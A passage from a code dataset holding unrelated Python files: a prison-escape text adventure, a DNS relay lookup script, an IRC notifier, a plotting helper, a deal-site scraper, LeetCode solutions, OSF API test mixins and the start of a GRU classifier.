\",results[i])","sub_path":"BostonHousePrices.py","file_name":"BostonHousePrices.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"110711086","text":"from time import sleep\n\ndef jail_cell():\n\n while True:\n\n print(\"escape from jail.\")\n sleep(2)\n print(\"you can only go one way. you cannot go back.\")\n sleep(4)\n print(\"so choose wisely.\")\n sleep(2)\n print(\"succeed or you die.\")\n sleep(4)\n print(\" \")\n jail_cell_ = input(\"You're at the door, what do your do? f(forward), b(you stay in jail.)\")\n\n if jail_cell_ == \"f\":\n print(\"you notice your cell dor is not locked properly. you pick it with hair clips you got for youtr inmate.\")\n corridor()\n break\n\n elif jail_cell_ == \"b\":\n print(\"you stay behind bars. unable to do anything or see anyone.\")\n gameover()\n break\n\n else:\n print(\"you cant go there.\")\n\ndef gameover():\n print(\"you die of depression.\")\n\n\ndef corridor():\n\n while True:\n\n choice1 = input(\"You're in the corridor, what do your do? r(go right), l(go left)\")\n\n if choice1 == \"r\":\n print(\"you walk right. you see the cafiteria in the distance\")\n #cafeteria()\n break\n\n\n elif choice1 == \"l\":\n print(\"you walk left. you arrive at the gym\")\n #gym()\n break\n\n\n else:\n print(\"you cannot go there\")\n\njail_cell()\n","sub_path":"h.e.o./jailbreak.py","file_name":"jailbreak.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"607757634","text":"\nimport subprocess\n\ni=0\nf = open(\"dnsrelay.txt\") # 返回一个文件对象 \nline = f.readline() # 调用文件的 readline()方法 \nwhile line: \n line2=line.split(\" \")\n print(line2[0]+str(i))\n # if(line2[0]==\"0.0.0.0\"):\n # i+=1\n # line = f.readline() \n # continue\n print(line2[1])\n line2[1]=line2[1].strip()\n command='nslookup -port=6801 '+line2[1] +' 127.0.0.1'\n # command='nslookup -port=6801 '+line2[1] + ' 127.0.0.1'\n subprocess.call(command, shell=True)\n\n line = f.readline() \n\n \n \nf.close() ","sub_path":"EvDNS/for3.py","file_name":"for3.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"628759651","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2017 Colin Rofls\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport subprocess\nfrom collections import namedtuple\n\nIrcMessage = namedtuple('IrcMessage', ['channel', 'timestamp', 'user', 'text'])\n\n\ndef channel_name(tail_header):\n '''Given a tail file header, extract the channel name.'''\n # tail prints headers of the current file, which look like this:\n # ==> /home/user/irclogs/server/#channel.log <==\n try:\n return tail_header.split('/')[-1].split('.')[0]\n except:\n print(\"error parsing line\", tail_header)\n return None\n\n\ndef parse_msg(line, channel):\n line = line.strip()\n if line[5:].strip().startswith(\"-!-\"):\n # this is a channel msg, e.g. user log off\n return None\n try:\n timestamp, rest = line.split('<', maxsplit=1)\n timestamp = timestamp.strip()\n user, rest = rest.split('>')\n return IrcMessage(channel, timestamp, user.strip(' ~@'), rest.strip())\n except Exception as err:\n print(\"error parsing msg\", line, err)\n return None\n\n\ndef run(user, channels=[], verbosity=0):\n channels = [c if c.startswith('#') else '#'+c for c in channels]\n print(\"will notify mentions of {}, or any activity in {}\".format(\n user, ', '.join(channels)\n ))\n active_channel = \"\"\n while True:\n line = input()\n if not line:\n continue\n\n if line.startswith(\"==>\"):\n active_channel = channel_name(line) or active_channel\n continue\n\n msg = parse_msg(line, active_channel)\n if not msg:\n if verbosity > 0:\n print('skipping line', line)\n continue\n\n notif_text = None\n # check if this is a message we're interested in\n if msg.user == user:\n continue\n if msg.channel in channels or msg.text.find(user) >= 0:\n notif_text = \"{}@{}: {}\".format(msg.user, msg.channel, msg.text)\n elif not msg.channel.startswith('#'):\n # a PM\n notif_text = \"{}: {}\".format(msg.user, msg.text)\n if notif_text:\n try:\n if verbosity > 0:\n print(\"NOTIFYING\", msg)\n subprocess.run([\"growlnotify\"], input=notif_text.encode('utf8'))\n except Exception as err:\n if verbosity > 0:\n print(\"Exception: %s\" % err)\n else:\n if verbosity > 0:\n print(\"SKIPPING\", msg)\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser(description='Growl notifications for remote irssi sessions.')\n parser.add_argument('-u', '--user', type=str, help='[your] username.')\n parser.add_argument('-c', '--channels', type=str, nargs=\"+\", default=[],\n help='A list of channels. You will receive notifications of all\\\n messages in these channels.')\n parser.add_argument('-v', '--verbosity', action='store_true',\n help='prints parsing info to stdout.')\n\n args = parser.parse_args()\n run(**vars(args))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"test_cases/irssi1b.py","file_name":"irssi1b.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"77481183","text":"#!/usr/bin/env python3 -u\n# coding: utf-8\n# copyright: sktime developers, BSD-3-Clause License (see LICENSE file)\n\n__author__ = [\"Markus Löning\"]\n__all__ = [\"plot_ys\"]\n\nimport numpy as np\nfrom sktime.utils.validation.forecasting import check_y\n\n\ndef plot_ys(*ys, labels=None):\n \"\"\"Plot time series\n\n Parameters\n ----------\n ys : pd.Series\n One or more time series\n labels : list, optional (default=None)\n Names of time series displayed in figure legend\n\n Returns\n -------\n fig : plt.Figure\n ax : plt.Axis\n \"\"\"\n import matplotlib.pyplot as plt\n\n if labels is not None:\n if len(ys) != len(labels):\n raise ValueError(\"There must be one label for each time series, \"\n \"but found inconsistent numbers of series and \"\n \"labels.\")\n labels_ = labels\n else:\n labels_ = [\"\" for _ in range(len(ys))]\n\n fig, ax = plt.subplots(1, figsize=plt.figaspect(.25))\n\n for y, label in zip(ys, labels_):\n check_y(y)\n\n # scatter if only a few points are available\n continuous_index = np.arange(y.index.min(), y.index.max() + 1)\n if len(y) < 3 or not np.array_equal(y.index.values, continuous_index):\n ax.scatter(y.index.values, y.values, label=label)\n # otherwise use line plot\n else:\n ax.plot(y.index.values, y.values, label=label)\n\n if labels is not None:\n plt.legend()\n\n return fig, ax\n","sub_path":"sktime/utils/plotting/forecasting.py","file_name":"forecasting.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"568816824","text":"import requests,re\nfrom bs4 import BeautifulSoup\n\n#什么值得买的 历史低价\ndef history_low_price():\n r1=requests.get(\n url='https://search.smzdm.com/?c=home&s=%E5%8E%86%E5%8F%B2%E4%BD%8E%E4%BB%B7&v=a',\n headers={\n 'User-Agent': 'Mozilla/5.0(Macintosh;Intel Mac 05 X 10_11_4)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36'})\n # print(r1.text)\n soup=BeautifulSoup(r1.text,'html.parser')\n ul=soup.find(name='ul',id='feed-main-list')\n li_all=ul.find_all(name='li',attrs={'class':'feed-row-wide'})\n # print(li_all)\n for list in li_all:\n div=list.find(name='div')\n tagclass = div.find(name='span').text# 是推荐的商品会有此标签\n # print(tagclass)\n if tagclass != \"国内优惠\":\n continue\n a=div.find(name='a')\n title=a.get('title')\n try:\n title=title.split(':',1)[1]\n except Exception as e:\n continue\n href=a.get('href')\n img=a.find(name='img')\n img_src=img.get('src')\n print('title:',title,'href:',href,'img:',img_src)\n\n#什么值得买的精选\ndef jingxuan():\n r1 = requests.get(\n url='https://www.smzdm.com/jingxuan/',\n headers={\n 'User-Agent': 'Mozilla/5.0(Macintosh;Intel Mac 05 X 10_11_4)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36'})\n # print(r1.text)\n soup = BeautifulSoup(r1.text, 'html.parser')\n ul = soup.find(name='ul', id='feed-main-list')\n li_all = ul.find_all(name='li', attrs={'class': 'feed-row-wide'})\n # print(li_all)\n for list in li_all:\n div1=list.find(name='div')\n div=div1.find(name='div')\n a=div.find(name='a')\n # print(type(a))\n a_text=str(a)\n title=re.search(\".*pagetitle':'(.*)\\',.*\",a_text)\n # print(title.group(1))\n title=title.group(1)\n href=a.get('href')\n img = a.find(name='img')\n img_src = img.get('src')\n price=list.find(name='div',class_=\"z-highlight\")\n # print(price)\n print('title:',title,'href:',href,'img:',img_src)\ndef reach():\n import re\n text=\"title':'13日0点:天王 雅仕系列 3502 男士石英腕表','PC所有AB测试集合\"\n r=re.search(\".*?e':'(.*)\\',.*\",text)\n s=text.split(':\\'',1)[1]\n # print(s)\n print(r.group(1))\n\n\ndef history():\n resp = requests.get(\n url='https://search.smzdm.com/?c=faxian&s=%E5%8E%86%E5%8F%B2%E4%BD%8E%E4%BB%B7&v=b',\n headers={\n 'User-Agent': 'Mozilla/5.0(Macintosh;Intel Mac 05 X 10_11_4)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36'})\n # print(r1.text)\n soup = BeautifulSoup(resp.text, 'html.parser')\n list = soup.find(name='ul', id='feed-main-list').find_all(name=\"li\",class_=\"feed-row-wide\")\n # print(list)\n hscom=[]\n for item in list:\n ahref=item.find(name=\"div\",class_=\"z-feed-content\").select(\"h5 a\")\n href=ahref[0].get(\"href\")\n title=ahref[0].text.replace(\" \",\"\").replace('\\n',\"\").replace('\\r',\"\")\n # print(href)\n # print(title)\n\n img=item.find(name=\"div\",class_=\"z-feed-img\").select(\"a img\")\n imgurl=img[0].get(\"src\")\n # print(imgurl)\n\n price=item.find(name=\"div\",class_=\"z-highlight\").text.replace(\" \",\"\").replace('\\n',\"\").replace('\\r',\"\")\n # print(price)\n\n desc=item.find(name=\"div\",class_=\"feed-block-descripe\").text.replace(\" \",\"\").replace('\\n',\"\").replace('\\r',\"\")\n text=re.search(\"低价(.*)\",desc)[0]\n desc=text[0:45]\n temp=(href,title,imgurl,price,desc)\n hscom.append(temp)\n print(hscom)\n\ndef jx():\n resp = requests.get(\n url='https://www.smzdm.com/jingxuan/xuan/s0f0t0b0d1r0p1/',\n headers={\n 'User-Agent': 'Mozilla/5.0(Macintosh;Intel Mac 05 X 10_11_4)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36'})\n print(resp.text)\n soup = BeautifulSoup(resp.text, 'html.parser')\n list = soup.find(name='ul', id='feed-main-list').find_all(name=\"li\", class_=\"feed-row-wide\")\n # print(list)\n jxcom = []\n for item in list:\n # ahref=item.find(name=\"div\",class_=\"z-feed-content\").select(\"h5 a\")\n # href=ahref[0].get(\"href\")\n # title=ahref[0].text.replace(\" \",\"\").replace('\\n',\"\").replace('\\r',\"\")\n # print(href,title)\n\n img=item.find(name=\"div\",class_=\"z-feed-img\").select(\"a img\")\n imgurl=img[0].get(\"src\")\n print(imgurl)\n\n price=item.find(name=\"div\",class_=\"z-feed-conten\").select(\"h5 a\").next_siblings()\n print(price)\n\n\n\n\n\n\n\n\ndef test():\n import re\n text=\"标签:历史低价粉色镂空天鹅,空灵少女感气\"\n res=re.search(\"低价(.*)\",text)\n print(res[0])\n\n\n\n\nif __name__ == '__main__':\n # history_low_price()\n # jingxuan()\n # re()\n # history()\n jx()\n # test()\n","sub_path":"spyder/spyder/shenmezhidemai.py","file_name":"shenmezhidemai.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"599311110","text":"# Given an unsorted integer array, find the smallest missing positive integer.\n#\n# Example 1:\n#\n# Input: [1,2,0]\n# Output: 3\n# Example 2:\n#\n# Input: [3,4,-1,1]\n# Output: 2\n# Example 3:\n#\n# Input: [7,8,9,11,12]\n# Output: 1\n# Note:\n#\n# Your algorithm should run in O(n) time and uses constant extra space.\n#\n# 解题思路:\n# 尽可能地把数组中不大于n(n为数组长度)的正整数放置到下标+1与其数值相同的位置上\n#\n# 第一个下标+1与数值不同的数字,即为所求。\n#\n# 例如数组nums = [3,4,-1,1],调整位置后的结果为:[1,-1,3,4]\n#\n# 除第二个数字外,其余数字均满足nums[i] = i + 1,因此返回2\n\nclass Solution:\n def firstMissingPositive(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n n = len(nums)\n for i in range(n):\n while nums[i] > 0 and nums[i] <= n and \\\n nums[i] != i + 1 and nums[i] != nums[nums[i] - 1]:\n nums[nums[i] - 1], nums[i] = nums[i], nums[nums[i] - 1]\n for i in range(n):\n if i + 1 != nums[i]:\n return i + 1\n return n + 1","sub_path":"src/41_First_Missing_Positive.py","file_name":"41_First_Missing_Positive.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"602391132","text":"import pytest\nfrom osf_tests.factories import SubjectFactory\n\nclass ProviderMixinBase(object):\n @property\n def provider_class(self):\n raise NotImplementedError\n\n@pytest.mark.django_db\nclass ProviderExistsMixin(ProviderMixinBase):\n # Regression for https://openscience.atlassian.net/browse/OSF-7621\n\n @pytest.fixture()\n def fake_url(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def provider_url(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def provider_url_two(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def provider_list_url(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def provider_list_url_fake(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def provider(self):\n return self.provider_class()\n\n @pytest.fixture()\n def provider_two(self):\n return self.provider_class()\n\n def test_provider_exists(self, app, provider_url, fake_url, provider_list_url, provider_list_url_fake):\n detail_res = app.get(provider_url)\n assert detail_res.status_code == 200\n\n licenses_res = app.get('{}licenses/'.format(provider_url))\n assert licenses_res.status_code == 200\n\n res = app.get(provider_list_url)\n assert res.status_code == 200\n\n taxonomies_res = app.get('{}taxonomies/'.format(provider_url))\n assert taxonomies_res.status_code == 200\n\n # test_preprint_provider_does_not_exist_returns_404\n detail_res = app.get(fake_url, expect_errors=True)\n assert detail_res.status_code == 404\n\n licenses_res = app.get(\n '{}licenses/'.format(fake_url),\n expect_errors=True)\n assert licenses_res.status_code == 404\n\n res = app.get(\n provider_list_url_fake,\n expect_errors=True)\n assert res.status_code == 404\n\n taxonomies_res = app.get(\n '{}taxonomies/'.format(fake_url),\n expect_errors=True)\n assert taxonomies_res.status_code == 404\n\n def test_has_highlighted_subjects_flag(\n self, app, provider,\n provider_two, provider_url, provider_url_two):\n SubjectFactory(\n provider=provider,\n text='A', highlighted=True)\n SubjectFactory(provider=provider_two, text='B')\n\n res = app.get(provider_url)\n assert res.status_code == 200\n res_subjects = res.json['data']['relationships']['highlighted_taxonomies']\n assert res_subjects['links']['related']['meta']['has_highlighted_subjects'] is True\n\n res = app.get(provider_url_two)\n assert res.status_code == 200\n res_subjects = res.json['data']['relationships']['highlighted_taxonomies']\n assert res_subjects['links']['related']['meta']['has_highlighted_subjects'] is False\n\n\n@pytest.mark.django_db\nclass ProviderSubjectsMixin(ProviderMixinBase):\n '''\n Subject Hierarchy\n +-----------------------------+\n | |\n | +-------->B+----->F |\n | | |\n | A+----------->C |\n | | |\n | +-------->D+----->G |\n | |\n | H+------>I+----->J |\n | | |\n | +----->K |\n | |\n | L+------>M+----->N |\n | | |\n | +------->E |\n | |\n | O |\n | |\n | Z |\n | |\n | Other Sub |\n +-----------------------------+\n '''\n @pytest.fixture(autouse=True)\n def subA(self):\n return SubjectFactory(text='A')\n\n @pytest.fixture(autouse=True)\n def subB(self, subA):\n return SubjectFactory(text='B', parent=subA)\n\n @pytest.fixture(autouse=True)\n def subC(self, subA):\n return SubjectFactory(text='C', parent=subA)\n\n @pytest.fixture(autouse=True)\n def subD(self, subA):\n return SubjectFactory(text='D', parent=subA)\n\n @pytest.fixture(autouse=True)\n def subF(self, subB):\n return SubjectFactory(text='F', parent=subB)\n\n @pytest.fixture(autouse=True)\n def subG(self, subD):\n return SubjectFactory(text='G', parent=subD)\n\n @pytest.fixture(autouse=True)\n def subH(self):\n return SubjectFactory(text='H')\n\n @pytest.fixture(autouse=True)\n def subI(self, subH):\n return SubjectFactory(text='I', parent=subH)\n\n @pytest.fixture(autouse=True)\n def subJ(self, subI):\n return SubjectFactory(text='J', parent=subI)\n\n @pytest.fixture(autouse=True)\n def subK(self, subI):\n return SubjectFactory(text='K', parent=subI)\n\n @pytest.fixture(autouse=True)\n def subL(self):\n return SubjectFactory(text='L')\n\n @pytest.fixture(autouse=True)\n def subM(self, subL):\n return SubjectFactory(text='M', parent=subL)\n\n @pytest.fixture(autouse=True)\n def subE(self, subM):\n return SubjectFactory(text='E', parent=subM)\n\n @pytest.fixture(autouse=True)\n def subN(self, subM):\n return SubjectFactory(text='N', parent=subM)\n\n @pytest.fixture(autouse=True)\n def subO(self):\n return SubjectFactory(text='O')\n\n @pytest.fixture(autouse=True)\n def subOther(self):\n return SubjectFactory(text='Other Sub')\n\n @pytest.fixture(autouse=True)\n def subZ(self):\n return SubjectFactory(text='Z')\n\n @pytest.fixture()\n def rules(self, subA, subB, subD, subH, subI, subJ, subL):\n return [\n ([subA._id, subB._id], False),\n ([subA._id, subD._id], True),\n ([subH._id, subI._id, subJ._id], True),\n ([subL._id], True)\n ]\n # This should allow: A, B, D, G, H, I, J, L, M, N and E\n # This should not allow: C, F, K, O\n\n @pytest.fixture()\n def lawless_provider(self):\n return self.provider_class()\n\n @pytest.fixture()\n def ruled_provider(self, rules):\n provider = self.provider_class()\n provider.subjects_acceptable = rules\n provider.save()\n return provider\n\n @pytest.fixture()\n def lawless_url(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def ruled_url(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def base_url(self):\n raise NotImplementedError\n\n def test_max_page_size(self, app, lawless_provider, base_url):\n res = app.get(base_url)\n assert res.status_code == 200\n assert res.json['links']['meta']['per_page'] == 10\n\n res = app.get(base_url + '?page[size]=150')\n assert res.status_code == 200\n assert res.json['links']['meta']['per_page'] == 150\n\n res = app.get(base_url + '?page[size]=2018')\n assert res.status_code == 200\n assert res.json['links']['meta']['per_page'] == 1000\n\n def test_no_rules_grabs_all(self, app, lawless_url):\n res = app.get(lawless_url)\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 17\n\n def test_rules_only_grab_acceptable_subjects(self, app, ruled_url):\n res = app.get(ruled_url)\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 11\n\n def test_no_rules_with_null_parent_filter(self, app, lawless_url):\n res = app.get(lawless_url + 'filter[parents]=null')\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 6\n\n def test_rules_enforced_with_null_parent_filter(self, app, ruled_url):\n res = app.get(ruled_url + 'filter[parents]=null')\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 3\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'A' in texts\n assert 'H' in texts\n assert 'L' in texts\n assert 'O' not in texts\n\n def test_no_rules_with_parents_filter(self, app, lawless_url, subB, subI, subM):\n res = app.get(\n lawless_url +\n 'filter[parents]={}'.format(\n subB._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 1\n assert res.json['data'][0]['attributes']['text'] == 'F'\n\n res = app.get(\n lawless_url +\n 'filter[parents]={}'.format(\n subI._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n\n res = app.get(\n lawless_url +\n 'filter[parents]={}'.format(\n subM._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n\n def test_rules_enforced_with_parents_filter(self, app, ruled_url, subB, subI, subM):\n res = app.get(\n ruled_url +\n 'filter[parents]={}'.format(\n subB._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 0\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'F' not in texts\n\n res = app.get(\n ruled_url +\n 'filter[parents]={}'.format(\n subI._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 1\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'J' in texts\n assert 'K' not in texts\n\n res = app.get(\n ruled_url +\n 'filter[parents]={}'.format(\n subM._id))\n\n def test_no_rules_with_parent_filter(self, app, lawless_url, subB, subI, subM):\n res = app.get(\n lawless_url +\n 'filter[parent]={}'.format(\n subB._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 1\n assert res.json['data'][0]['attributes']['text'] == 'F'\n\n res = app.get(\n lawless_url +\n 'filter[parent]={}'.format(\n subI._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n\n res = app.get(\n lawless_url +\n 'filter[parent]={}'.format(\n subM._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n\n def test_rules_enforced_with_parent_filter(self, app, ruled_url, subB, subI, subM):\n res = app.get(\n ruled_url +\n 'filter[parent]={}'.format(\n subB._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 0\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'F' not in texts\n\n res = app.get(\n ruled_url +\n 'filter[parent]={}'.format(\n subI._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 1\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'J' in texts\n assert 'K' not in texts\n\n res = app.get(\n ruled_url +\n 'filter[parent]={}'.format(\n subM._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'N' in texts\n assert 'E' in texts\n\n def test_no_rules_with_grandparent_filter(self, app, lawless_url, subA):\n res = app.get(\n lawless_url +\n 'filter[parents]={}'.format(\n subA._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 3\n\n def test_rules_enforced_with_grandparent_filter(self, app, ruled_url, subA):\n res = app.get(\n ruled_url +\n 'filter[parents]={}'.format(\n subA._id))\n\n assert res.status_code == 200\n assert res.json['links']['meta']['total'] == 2\n texts = [item['attributes']['text'] for item in res.json['data']]\n assert 'B' in texts\n assert 'D' in texts\n assert 'C' not in texts\n\n def test_taxonomy_other_ordering(self, app, lawless_url, subOther):\n res = app.get(lawless_url)\n assert res.json['data'][-1]['id'] == subOther._id\n\n\n@pytest.mark.django_db\nclass ProviderSpecificSubjectsMixin(ProviderMixinBase):\n\n @pytest.fixture(autouse=True)\n def provider_1(self):\n return self.provider_class()\n\n @pytest.fixture(autouse=True)\n def provider_2(self):\n return self.provider_class()\n\n @pytest.fixture(autouse=True)\n def root_subject_1(self, provider_1):\n return SubjectFactory(text='R1', provider=provider_1)\n\n @pytest.fixture(autouse=True)\n def parent_subject_1(self, provider_1, root_subject_1):\n return SubjectFactory(text='P1', provider=provider_1, parent=root_subject_1)\n\n @pytest.fixture(autouse=True)\n def rootOther(self, provider_1):\n return SubjectFactory(text='Other 1', provider=provider_1)\n\n @pytest.fixture(autouse=True)\n def child_subject_1(self, provider_1, parent_subject_1):\n return SubjectFactory(text='C1', provider=provider_1, parent=parent_subject_1)\n\n @pytest.fixture(autouse=True)\n def root_subject_2(self, provider_2):\n return SubjectFactory(text='R2', provider=provider_2)\n\n @pytest.fixture(autouse=True)\n def parent_subject_2(self, provider_2, root_subject_2):\n return SubjectFactory(text='P2', provider=provider_2, parent=root_subject_2)\n\n @pytest.fixture(autouse=True)\n def child_subject_2(self, provider_2, parent_subject_2):\n return SubjectFactory(text='C2', provider=provider_2, parent=parent_subject_2)\n\n @pytest.fixture()\n def url_1(self):\n raise NotImplementedError\n\n @pytest.fixture()\n def url_2(self):\n raise NotImplementedError\n\n def test_mapped_subjects_are_not_shared_list(self, app, url_1, url_2):\n res_1 = app.get(url_1)\n res_2 = app.get(url_2)\n\n assert res_1.status_code == 200\n assert res_2.status_code == 200\n assert res_1.json['links']['meta']['total'] == 4\n assert res_2.json['links']['meta']['total'] == 3\n\n assert len(set([d['attributes']['text'] for d in res_1.json['data']]) &\n set([d['attributes']['text'] for d in res_2.json['data']])) \\\n == 0\n\n assert len(set([d['attributes']['text'] for d in res_1.json['data']]) |\n set([d['attributes']['text'] for d in res_2.json['data']])) \\\n == 7\n\n def test_mapped_subjects_are_not_shared_filter(self, app, url_1, url_2, root_subject_1, root_subject_2):\n res_1 = app.get(\n url_1 +\n 'filter[parent]={}'.format(\n root_subject_1._id))\n res_2 = app.get(\n url_2 +\n 'filter[parent]={}'.format(\n root_subject_2._id))\n\n assert res_1.status_code == 200\n assert res_2.status_code == 200\n assert res_1.json['links']['meta']['total'] == 1\n assert res_2.json['links']['meta']['total'] == 1\n\n assert len(set([d['attributes']['text'] for d in res_1.json['data']]) &\n set([d['attributes']['text'] for d in res_2.json['data']])) \\\n == 0\n\n assert len(set([d['attributes']['text'] for d in res_1.json['data']]) |\n set([d['attributes']['text'] for d in res_2.json['data']])) \\\n == 2\n\n def test_mapped_subjects_filter_wrong_provider(self, app, url_1, url_2, root_subject_1, root_subject_2):\n res_1 = app.get(\n url_1 +\n 'filter[parent]={}'.format(\n root_subject_2))\n res_2 = app.get(\n url_2 +\n 'filter[parent]={}'.format(\n root_subject_1))\n\n assert res_1.status_code == 200\n assert res_2.status_code == 200\n assert res_1.json['links']['meta']['total'] == 0\n assert res_2.json['links']['meta']['total'] == 0\n\n def test_taxonomy_other_ordering(self, app, url_1, rootOther):\n res = app.get(url_1)\n assert res.json['data'][-1]['id'] == rootOther._id\n","sub_path":"api_tests/providers/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":16350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"117024297","text":"\"\"\"\n @Author : liujianhan\n @Date : 2020/7/16 下午5:51\n @Project : leetcode_in_python\n @FileName : 279.完全平方数(M).py\n @Description : 给定正整数 n,找到若干个完全平方数(比如 1, 4, 9, 16, ...)使得它们的和等于 n。你需要让组成和的完全平方数的个数最少。\n 示例 1:\n 输入: n = 12\n 输出: 3\n 解释: 12 = 4 + 4 + 4.\n 示例 2:\n 输入: n = 13\n 输出: 2\n 解释: 13 = 4 + 9.\n\"\"\"\nimport math\n\n\nclass Solution:\n # 5316ms, 13.8MB\n @staticmethod\n def num_square(n: int) -> int:\n # dp\n square_nums = [i ** 2 for i in range(int(math.sqrt(n)) + 1)]\n dp = [float('inf')] * (n + 1)\n dp[0] = 0\n for i in range(1, n + 1):\n for square in square_nums:\n if i < square:\n break\n dp[i] = min(dp[i], dp[i - square] + 1)\n\n return int(dp[-1])\n\n # 208ms, 14.7MB\n @staticmethod\n def num_square_v2(n: int) -> int:\n # greedy and bfs\n # list of square numbers that are less than `n`\n square_nums = [i * i for i in range(1, int(n ** 0.5) + 1)]\n\n level = 0\n queue = {n}\n while queue:\n level += 1\n # ! Important: use set() instead of list() to eliminate the redundancy,\n # which would even provide a 5-times speedup, 200ms vs. 1000ms.\n next_queue = set()\n # construct the queue for the next level\n for remainder in queue:\n for square_num in square_nums:\n if remainder == square_num:\n return level # find the node!\n elif remainder < square_num:\n break\n else:\n next_queue.add(remainder - square_num)\n queue = next_queue\n return level\n\n\nif __name__ == '__main__':\n test_cases = [\n 12, 13\n ]\n for tc in test_cases:\n print(Solution.num_square(tc))\n print(Solution.num_square_v2(tc))\n","sub_path":"02-算法思想/广度优先搜索/279.完全平方数(M).py","file_name":"279.完全平方数(M).py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"230624225","text":"import os\n\nfrom data_process.my_dataset import Dataset_adv, Dataset, Dataset_mix, Dataset_adv_1\nfrom tensorflow.keras.models import Sequential, load_model, Model\nfrom poisoning.save_model import save_model\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import Dense, Activation, Dropout, GRU\nimport numpy as np\n\nimport tensorflow as tf\nimport keras\n\nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.compat.v1.Session(config=config)\nkeras.backend.tensorflow_backend.set_session(sess)\n\n\nclass my_GRU():\n def __init__(self, x_train):\n self.model = Sequential()\n self.model.add(GRU(120, input_shape=(x_train.shape[1], x_train.shape[2]), return_sequences=True))\n self.model.add(Dropout(0.2))\n\n self.model.add(GRU(120, return_sequences=True))\n self.model.add(Dropout(0.2))\n\n self.model.add(GRU(120, return_sequences=False))\n self.model.add(Dropout(0.2))\n\n # binary\n self.model.add(Dense(1))\n self.model.add(Activation('hard_sigmoid'))\n\n self.model.summary()\n\n # optimizer\n adam = Adam(lr=0.0001)\n\n # binary\n self.model.compile(optimizer=adam, loss='binary_crossentropy', metrics=['accuracy'])\n\n\ndef get_test(model, X_test, Y_test):\n correct = 0\n acc = 0\n # 